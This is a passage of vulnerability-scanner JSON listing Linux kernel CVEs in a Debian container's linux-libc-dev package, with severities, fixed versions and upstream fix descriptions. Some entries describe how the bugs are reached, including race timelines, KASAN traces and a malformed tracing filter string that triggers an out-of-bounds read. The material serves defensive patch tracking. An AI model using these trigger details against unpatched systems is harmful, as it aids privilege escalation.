"redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-99153", "https://git.kernel.org/stable/c/21ef746340ce246344f34278e205b8960c1d8874", "https://git.kernel.org/stable/c/3637a4ad1d07477f1c60609876da6b60154d224b", "https://git.kernel.org/stable/c/576125e7382a7826bd6c3c1ca4d9c582ed5be21d", "https://git.kernel.org/stable/c/7215a69b6456fda79c0935c2959045dff3fcaac8", "https://git.kernel.org/stable/c/c5958c770b2a0ee492414e26b07da9164a0d1f5d", "https://git.kernel.org/stable/c/d20583a9dbe0d32a9af8384c857c95c0fc115103", "https://git.kernel.org/stable/c/d79343ae3223b3f7f74b55e79f8a1371fa3f4b1a", "https://git.kernel.org/stable/c/ebb8c5ef2aabf66895253600e8390e8fc7094807", "https://nvd.nist.gov/vuln/detail/CVE-2026-99153", "https://www.cve.org/CVERecord?id=CVE-2026-99153" ], "PublishedDate": "2026-10-28T11:17:35.443Z", "LastModifiedDate": "2026-10-31T13:17:57.617Z" }, { "VulnerabilityID": "CVE-2026-99167", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-99167", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:48c2c3ec3ad92d3e589426e97d95ccea51307c8d08566df5177b70b7d50454d2", "Title": "kernel: net/sched: fix use-after-free in __tcf_action_put()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: fix use-after-free in __tcf_action_put()\n\n__tcf_action_put() decrements the reference count before decrementing the\nbinding count. Another thread can free the action between these operations,\ncausing the binding-count update to access freed memory. KASAN reports it\nas:\n\n BUG: KASAN: slab-use-after-free in __tcf_action_put+0x327/0x340\n Write of size 4 at addr ff11000000d46420 by task tc-put-pause/64\n\nHold the action IDR mutex across both counter updates and IDR removal,\nkeeping cleanup outside the lock.", "Severity": "HIGH", "VendorSeverity": { "azure": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-99167", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-99167.mbox", "https://git.kernel.org/stable/c/2465d27ef90de9105c2bffb6c35f8ce08918e642", "https://git.kernel.org/stable/c/2e012e431aa271ef3c84206f48854f539c03bff0", "https://git.kernel.org/stable/c/4d83a3fc03bc595dd39b79ad61288738fbb1f2ba", "https://git.kernel.org/stable/c/7b16eb911091aae237a8673da94e4dfb9cd21d54", "https://git.kernel.org/stable/c/969ad6f2b266f383b44194d50d15631969b26222", "https://git.kernel.org/stable/c/fcc7d734ceccfab8ec3398c5b34f8e775d459507", "https://git.kernel.org/stable/c/fd01abed2568209f7daaf60e5ee68ae4a4744f48", "https://git.kernel.org/stable/c/fde33eb9955d819af282d5f5e84684eaec248291", "https://nvd.nist.gov/vuln/detail/CVE-2026-99167", "https://www.cve.org/CVERecord?id=CVE-2026-99167" ], "PublishedDate": "2026-10-28T11:17:37.173Z", "LastModifiedDate": "2026-10-31T13:17:58.417Z" }, { "VulnerabilityID": "CVE-2026-99227", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-99227", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6d1edc486d58d49f818e89868429b4586e57c57cf1d918eada8f8a689cdfcd84", "Title": "kernel: kernel: Privilege escalation via reference counter wrap in io_uring", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring/waitid: prevent cancel reference wrap\n\nio_waitid packs the cancellation state into bit 31 of -\u003erefs and uses\nbits 30:0 as a 31-bit reference counter:\n\n #define IO_WAITID_CANCEL_FLAG BIT(31)\n #define IO_WAITID_REF_MASK GENMASK(30, 0)\n\n__io_waitid_cancel() marks a request canceled, then increments the low\nbits of -\u003erefs to claim completion ownership. When another path owns the\nrequest, the increment remains even though cancellation returns false.\nThe request remains discoverable by cancellation, so repeated failed\nattempts can wrap the 31-bit reference field to zero. A later\ncancellation can claim ownership and complete the request a second time.\n\nUse atomic_fetch_or() when setting the cancel flag and inspect the old\nflag value. The first cancel attempt continues to the existing ownership\nincrement, preserving its wake and issuer handoff semantics. Later\nattempts see the cancel flag and return without incrementing the\nreference field.\n\nThis makes repeated failed cancellation attempts idempotent while\nleaving the first-cancel state transitions unchanged.", "Severity": "HIGH", "VendorSeverity": { "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-99227", "https://git.kernel.org/stable/c/20b67288574c7c3df6b8ea7ed3b7af90a868006f", "https://git.kernel.org/stable/c/22fb4a4518e305164c7f203608287564de292f34", "https://git.kernel.org/stable/c/5bfeee1774791602a0d53eb717f00f172127a017", "https://git.kernel.org/stable/c/857aa2012b91cad6fdef54a4b6c632d9d0b6e64f", "https://git.kernel.org/stable/c/98787d3fa4e99564d2b2bc21255b21f670c450d0", "https://nvd.nist.gov/vuln/detail/CVE-2026-99227", "https://www.cve.org/CVERecord?id=CVE-2026-99227" ], "PublishedDate": "2026-11-02T16:17:47.42Z", "LastModifiedDate": "2026-11-03T20:18:28.357Z" }, { "VulnerabilityID": "CVE-2026-99231", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-99231", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3948a69f505ab0ccb9e9e5e485585efdd6883ef9f2f2e00cef3529d8c4d17013", "Title": "kernel: kernel: Privilege escalation via use-after-free in io_uring waitid", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring/waitid: own the request before clearing -\u003ehead\n\nio_waitid_remove_wq() only takes the wait queue lock if -\u003ehead is set.\nio_waitid_wait() clears -\u003ehead first thing, before it tries to become the\nowner of the request by bumping -\u003erefs. If somebody else owns the request\nat that point, nothing keeps it from completing the request while the\nwake up handler is still going to touch it:\n\nCPU0 (io_waitid_wait) CPU1 (io_waitid, holds a ref)\nlist_del_init(\u0026wait-\u003eentry)\nsmp_store_release(\u0026iw-\u003ehead, NULL)\n __do_wait() finds another child\n io_waitid_remove_wq()\n // -\u003ehead == NULL, no locking\n io_waitid_finish(), IOU_COMPLETE\n // request freed and reused\natomic_fetch_inc(\u0026iw-\u003erefs)\n\nThe same goes for __io_waitid_cancel() if it claims the request in that\nwindow. -\u003erefs is part of the per opcode data of the request, so this\nincrements whatever the next user of the request keeps there. If that\nhappens to be zero, the handler concludes that it owns the request, and\nqueues io_waitid_cb() for it. With the window held open by a delay, and\nthe request reused for a receive that is waiting for data:\n\n BUG: KASAN: slab-use-after-free in __wake_up_common+0x1ca/0x1f0\n __wake_up_sync_key+0x36/0x50\n sock_def_readable+0xf1/0x420\n unix_stream_sendmsg+0x60b/0x1110\n Allocated by task 87:\n io_arm_apoll+0x1ed/0x940\n Freed by task 87:\n __io_submit_flush_completions+0x118d/0x1a10\n tctx_task_work_run+0x327/0x950\n\nOnly clear -\u003ehead once the handler owns the request. If it doesn't, the\nowner finds -\u003ehead set and has to wait for the lock, which is held by the\ncaller of the handler. Deleting the already deleted entry again is\nharmless.", "Severity": "HIGH", "VendorSeverity": { "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-99231", "https://git.kernel.org/stable/c/6e11ce129b34fb9a43b2bbe838df49ea52878d5c", "https://git.kernel.org/stable/c/8381a912c65b8de16e8a848225c7c5a56b6ea834", "https://git.kernel.org/stable/c/bf01da1a9cca4a54e5c30b8344e52c26afb87be7", "https://git.kernel.org/stable/c/c10ad2813e15186fb51b37a4d17fafddc99e89a5", "https://git.kernel.org/stable/c/c254eec4364b9f4b4cbdce43be3fb4df5a651a70", "https://nvd.nist.gov/vuln/detail/CVE-2026-99231", "https://www.cve.org/CVERecord?id=CVE-2026-99231" ], "PublishedDate": "2026-11-02T16:17:48.06Z", "LastModifiedDate": "2026-11-06T18:18:33.167Z" }, { "VulnerabilityID": "CVE-2026-99233", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-99233", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:cf562b75bd7cc49eeaa14eeeea7ef48c39384930dce0ba8c4a50d8d5875aa133", "Title": "kernel: kernel: Privilege escalation via use-after-free in tracing subsystem", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ntracing/histograms: Verify event_call identity when updating synth_event refcount\n\nIn event_hist_trigger_parse() and hist_unreg_all(), the histogram\nregistration and unregistration paths look up find_synth_event() using\ntrace_event_name(file-\u003eevent_call) and adjust se-\u003eref if a match is\nfound.\n\nBecause find_synth_event() only compares the event basename, registering\nor removing a histogram on a non-synthetic trace event whose basename\nmatches a synthetic event erroneously modifies the synthetic event's\nreference count. If a histogram is registered on the non-synthetic\nevent before the synthetic event is created and removed afterwards,\nse-\u003eref is decremented without a matching increment, allowing the\nsynthetic event to be freed while an active histogram action still holds\na pointer to it.\n\nIntroduce find_synth_event_call() to verify that \u0026se-\u003ecall matches\nfile-\u003eevent_call before adjusting se-\u003eref.", "Severity": "HIGH", "VendorSeverity": { "azure": 2, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-99233", "https://git.kernel.org/stable/c/06e816bed499fe47f39f12044382cc5d064485fb", "https://git.kernel.org/stable/c/23b4106e8b35823acc79e206c7745f55b9cfd78b", "https://git.kernel.org/stable/c/3403d9bb27ebc3572bd048620746b4414e073bf9", "https://git.kernel.org/stable/c/381f543ed35c434d5b707369aa5dcd69ecf440af", "https://git.kernel.org/stable/c/4472579bd1c83708b6fe623c870cdf728e947205", "https://git.kernel.org/stable/c/5597bb8db6855fcb97a67196d227fea359bcd81c", "https://git.kernel.org/stable/c/cf4e31d5da80fae4c9cdbe7af55b7c3ad213f0e4", "https://nvd.nist.gov/vuln/detail/CVE-2026-99233", "https://www.cve.org/CVERecord?id=CVE-2026-99233" ], "PublishedDate": "2026-11-02T16:17:48.39Z", "LastModifiedDate": "2026-11-03T20:18:29.27Z" }, { "VulnerabilityID": "CVE-2026-99235", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-99235", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e6a72afde51ab564c6feffd091a019a71bdd68cd58a7df844cb85b2051d24d15", "Title": "kernel: kernel: Privilege escalation via use-after-free in event tracing subsystem", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ntracing: Save the event file instead of the compatible histogram\n\ncreate_field_var_hist() creates a histogram on the matched event to\nsupply a field variable, and records it on the target so it can be torn\ndown later:\n\n\thist_data = find_compatible_hist(target_hist_data, file);\n\t...\n\t/* Save the compatible histogram information */\n\tvar_hist-\u003ehist_data = hist_data;\n\nhist_data is not the histogram it creates. It is one that was already\nthere, whose keys the new one copies. The saved pointer has a single\nuser, unregister_field_var_hists(), which runs when the target is\nremoved:\n\n\tfile = hist_data-\u003efield_var_hists[i]-\u003ehist_data-\u003eevent_file;\n\nfind_compatible_hist() matches on keys alone, so it can pick one with no\nvariables of its own. check_var_refs() then returns false and the user\ncan remove it while the target still points at it:\n\n BUG: KASAN: slab-use-after-free in event_hist_trigger_free+0x2b2/0x320\n Read of size 8 at addr ffff8880093b90e0 by task init/1\n\n Freed by task 1:\n kfree+0x154/0x420\n event_hist_trigger_free+0x1d5/0x320\n event_hist_trigger_parse+0x35f3/0x69e0\n trigger_process_regex+0x1a6/0x250\n\nSave the event file instead. It is all the dereference ever wanted, and\nit does not go away when the user removes a trigger.", "Severity": "HIGH", "VendorSeverity": { "azure": 2, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-99235", "https://git.kernel.org/stable/c/173914501b97236d7ea7dc2af7f30feddd4e1436", "https://git.kernel.org/stable/c/3609ada3c12cecfb0ae5ee82ef4f86c5f18a2dea", "https://git.kernel.org/stable/c/7a111ba0d1b74c99bc8f096565dc71945f694254", "https://git.kernel.org/stable/c/7cafc82e6153f05a221be678cd649d02e06ba909", "https://git.kernel.org/stable/c/8b307d64a60548e4a74cb746f74d7ed4bd49965e", "https://git.kernel.org/stable/c/9631dbccd3c649b567a5aafffea6b00634183997", "https://git.kernel.org/stable/c/a6165126b1a1b26342b55be6eb6ee23af8756aba", "https://git.kernel.org/stable/c/ac815a379644b2ad5008a009a3516ada31b5dd82", "https://git.kernel.org/stable/c/d5c42664fc094899af9aae5300b27fe8fdb658ef", "https://nvd.nist.gov/vuln/detail/CVE-2026-99235", "https://www.cve.org/CVERecord?id=CVE-2026-99235" ], "PublishedDate": "2026-11-02T16:17:48.79Z", "LastModifiedDate": "2026-11-03T20:18:29.627Z" }, { "VulnerabilityID": "CVE-2026-99236", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-99236", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c07f987905a4b6babf232787a6687b0229e25357a43f1b6a13bd39a3295e0316", "Title": "kernel: kernel: privilege escalation via incomplete event filter expressions", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ntracing: Reject incomplete event filter expressions\n\nA non-empty expression normally finishes in predicate_parse()'s inner\nloop, which resolves the pending logical operators before jumping to\nfinalization. If the input ends after an operator, possibly followed by\nunary '!' tokens, the outer loop instead falls through with unresolved\noperator state.\n\nFor example, \"common_pid == 1 || common_pid == 2 \u0026\u0026\" leaves\nprog[0].target equal to -1. The second pass then reads prog[-1] before\nthe forward-jump check can reject it. Depending on adjacent slab\ncontents, it can also copy an out-of-bounds word into a branch target\nthat passes the forward-only check. A self-targeted perf tracepoint\ncounting event can reach this path through PERF_EVENT_IOC_SET_FILTER.\n\nReject the outer-loop fallthrough when a predicate has already been\nparsed. This ensures that non-empty expressions only reach finalization\nafter the inner loop has resolved their operators. Keep the existing\nno-filter error for input that has no predicates. Add a regression test\nfor trailing logical operators and unary negations.", "Severity": "HIGH", "VendorSeverity": { "azure": 2, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-99236", "https://git.kernel.org/stable/c/1008e9e0b8280d47f1ab5e9c113f666a023a9697", "https://git.kernel.org/stable/c/15ff3cc7f2beecc3f95d66358f20ad7b057466aa", "https://git.kernel.org/stable/c/1fdc4164e488916402badddbb1f51e9380dabb91", "https://git.kernel.org/stable/c/2a98f5d4913ec081e08e1075512cb7ec313d9f72", "https://git.kernel.org/stable/c/4a1a6d35359991c5d47f4bf101cfbe1475c94093", "https://git.kernel.org/stable/c/5a999b5a16530898f0dbe5f8c50fd45ea72e110b", "https://git.kernel.org/stable/c/5bcdf3c18c3471122ee9652b0e2f5cdb718d9a46", "https://git.kernel.org/stable/c/64993d970dde2a2da353e9e99595a4fa88ec27d9", "https://git.kernel.org/stable/c/b205ff58e02922ac324f931cf9eb238a3acdb048", "https://nvd.nist.gov/vuln/detail/CVE-2026-99236", "https://www.cve.org/CVERecord?id=CVE-2026-99236" ], "PublishedDate": "2026-11-02T16:17:49.003Z", "LastModifiedDate": "2026-11-03T20:18:29.827Z" }, { "VulnerabilityID": "CVE-2026-99239", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-99239", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3af50b842d98fa8f4196c0c0440f9f7da2342492d84a697de0c77f4646f55366", "Title": "kernel: kernel: Privilege escalation via race condition in Bluetooth L2CAP", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: L2CAP: refuse __l2cap_chan_add if chan already has conn\n\nl2cap_chan may be linked to l2cap_conn at most once. This is assumed in\nseveral places, eg l2cap_chan_del cleanup.\n\nThere is a TOCTOU race where the invariant is violated:\n\n [Task 1] [Task 2]\n l2cap_chan_connect l2cap_sock_bind\n l2cap_chan_lock lock_sock\n l2cap_state_change if (sk-\u003esk_state != BT_OPEN)\n chan-\u003estate = BT_CONNECT\n l2cap_sock_state_change_cb chan-\u003estate = BT_BOUND\n sk-\u003esk_state = BT_BOUND\n lock_sock \u003c------------------ release_sock\n sk-\u003esk_state = BT_CONNECT\n\nl2cap_sock_connect() does not check sk-\u003esk_state, so since chan-\u003estate\nis now BT_BOUND, subsequent connect() ends up with second\n__l2cap_chan_add.\n\nExplicitly document and check the invariant in __l2cap_chan_add with\nWARN_ON_ONCE. The only callsite where it could be hit is\nl2cap_chan_connect, so add pre-check there to avoid relying on\nchan-\u003estate. chan-\u003estate read/write is not properly guarded currently so\nthere can be other TOCTOUC problems.\n\nAdd l2cap_lock_chan in l2cap_sock_bind() to guard chan-\u003estate write.", "Severity": "HIGH", "VendorSeverity": { "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-99239", "https://git.kernel.org/stable/c/10c705dd706aa93164ba41f2566f15206d6c178e", "https://git.kernel.org/stable/c/52fe88e4ef87311eee32b45c65603e7c69e75e7d", "https://git.kernel.org/stable/c/73820561d8cbfd3364a29b8fa77f1707f26029da", "https://git.kernel.org/stable/c/820579652b24ce277e0097cd65b42bd9b7b8bf07", "https://git.kernel.org/stable/c/85cc289eb08afa975375f838187369e68b429ee0", "https://git.kernel.org/stable/c/86b55991d3cd690e73c5ef8d20b75ae4905b357a", "https://git.kernel.org/stable/c/d3afd7803f9bc2a8c4270199497b60158b2fc647", "https://git.kernel.org/stable/c/e618d928ec7f88cbeadfa3542adcac40f474e629", "https://git.kernel.org/stable/c/fabaff1c59ff2cc89cb7e5bd0186a5e15f0c73b2", "https://nvd.nist.gov/vuln/detail/CVE-2026-99239", "https://www.cve.org/CVERecord?id=CVE-2026-99239" ], "PublishedDate": "2026-11-02T16:17:49.54Z", "LastModifiedDate": "2026-11-03T20:18:30.28Z" }, { "VulnerabilityID": "CVE-2026-99246", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-99246", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:582365077419fd2f76b0897c9ad503a30ab504376aa0c601b14ea503e685c814", "Title": "kernel: kernel: Arbitrary code execution via use-after-free in TIPC subsystem", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ntipc: protect node reset trace dump with node lock\n\nThe tipc_node_reset_links trace event asks tipc_node_dump() to walk the\nnode's link entries. Unlike the other node events that request link data,\nthis event runs without the node lock.\n\nThis permits bearer teardown to free a link while the trace callback is\ndumping it:\n\n CPU 0 CPU 1\n trace_tipc_node_reset_links()\n tipc_node_dump()\n l = n-\u003elinks[0].link\n tipc_node_write_lock()\n kfree(l)\n n-\u003elinks[0].link = NULL\n tipc_node_write_unlock()\n tipc_link_dump(l)\n\ntipc_link_dump() then dereferences the stale pointer. KASAN reported:\n\n BUG: KASAN: slab-use-after-free in tipc_link_dump\n Read of size 4 by task poc/115\n Call Trace:\n tipc_link_dump+0x10cb/0x16b0\n tipc_node_dump+0x4bb/0x740\n trace_event_raw_event_tipc_node_class+0x258/0x360\n tipc_node_reset_links+0x14d/0x1a0\n tipc_rcv+0x13f5/0x3030\n tipc_udp_recv+0x4e3/0x670\n Allocated by task 0:\n tipc_link_create+0x1e1/0x1020\n tipc_node_check_dest+0x7d2/0x11a0\n tipc_disc_rcv+0xdbf/0x1430\n Freed by task 89:\n kfree+0x131/0x3c0\n tipc_node_link_down+0x267/0x4b0\n tipc_node_delete_links+0xec/0x160\n bearer_disable+0x107/0x260\n\nTake the node write lock around the trace event. This serializes the\ndump against tipc_node_link_down(delete=true), which frees the link\nunder the same write lock.", "Severity": "HIGH", "VendorSeverity": { "azure": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-99246", "https://git.kernel.org/stable/c/6abd93d01b0f495f29201925a5ee8e6a583c4044", "https://git.kernel.org/stable/c/6e492cb98ca69cc1145175e23e22e3b84da7f26d", "https://git.kernel.org/stable/c/7bb6a35bd6d69019539d8782fb590fd2aa8a3236", "https://git.kernel.org/stable/c/a6101d62ccfa153db8c218ce59362b8e0316fd4f", "https://git.kernel.org/stable/c/b8b7d28dc2b7472ffd1eff3954c38f1976b21a7b", "https://git.kernel.org/stable/c/c8b72ca0918e95f708f67c8b3e69b05290f2b6d2", "https://git.kernel.org/stable/c/dddf197f29ba5e47a476dde82bf542ca2e0d5e5e", "https://git.kernel.org/stable/c/fa8c78c0e49aa11fae116fd841e41aa8f2d68751", "https://nvd.nist.gov/vuln/detail/CVE-2026-99246", "https://www.cve.org/CVERecord?id=CVE-2026-99246" ], "PublishedDate": "2026-11-03T12:17:31.03Z", "LastModifiedDate": "2026-11-03T20:18:31.013Z" }, { "VulnerabilityID": "CVE-2026-99999", "VendorIDs": [ "DSA-6568-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-99999", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5e11c1ae8e0d20d103ddd65dfa1e1a13bd144d6a0e4e5805cf90aa4f6af4837d", "Title": "kernel: ipv4: validate checksum_start before completing checksum", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv4: validate checksum_start before completing checksum\n\nIf a packet with bad checksum metadata gets into the ipv4 stack,\nskb_checksum_help can corrupt the network header and cause a bunch of\nmischief.\n\nThis was discovered and reported by Paulos, and has been reporoduced\nby others independently since.\n\nWe really shouldn't allow such packets in, but as a defence\nin depth measure, let's also check before we complete the checksum.\n\nA more complete validation at input is forthcoming, but needs more work.", "Severity": "HIGH", "CweIDs": [ "CWE-20" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 4, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/10/15/5", "https://access.redhat.com/errata/RHSA-2026:86033", "https://access.redhat.com/security/cve/CVE-2026-99999", "https://bugzilla.redhat.com/2461761", "https://bugzilla.redhat.com/2492098", "https://bugzilla.redhat.com/2502325", "https://bugzilla.redhat.com/2502332", "https://bugzilla.redhat.com/2502333", "https://bugzilla.redhat.com/2502356", "https://bugzilla.redhat.com/2502462", "https://bugzilla.redhat.com/2502486", "https://bugzilla.redhat.com/2511413", "https://bugzilla.redhat.com/2516967", "https://bugzilla.redhat.com/2532230", "https://bugzilla.redhat.com/2540391", "https://bugzilla.redhat.com/2540872", "https://bugzilla.redhat.com/2546491", "https://bugzilla.redhat.com/2553429", "https://bugzilla.redhat.com/show_bug.cgi?id=2461761", "https://bugzilla.redhat.com/show_bug.cgi?id=2492098", "https://bugzilla.redhat.com/show_bug.cgi?id=2502325", "https://bugzilla.redhat.com/show_bug.cgi?id=2502332", "https://bugzilla.redhat.com/show_bug.cgi?id=2502333", "https://bugzilla.redhat.com/show_bug.cgi?id=2502356", "https://bugzilla.redhat.com/show_bug.cgi?id=2502377", "https://bugzilla.redhat.com/show_bug.cgi?id=2502462", "https://bugzilla.redhat.com/show_bug.cgi?id=2502486", "https://bugzilla.redhat.com/show_bug.cgi?id=2511413", "https://bugzilla.redhat.com/show_bug.cgi?id=2516967", "https://bugzilla.redhat.com/show_bug.cgi?id=2525413", "https://bugzilla.redhat.com/show_bug.cgi?id=2532230", "https://bugzilla.redhat.com/show_bug.cgi?id=2540391", "https://bugzilla.redhat.com/show_bug.cgi?id=2546491", "https://bugzilla.redhat.com/show_bug.cgi?id=2553429", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31678", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52935", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63899", 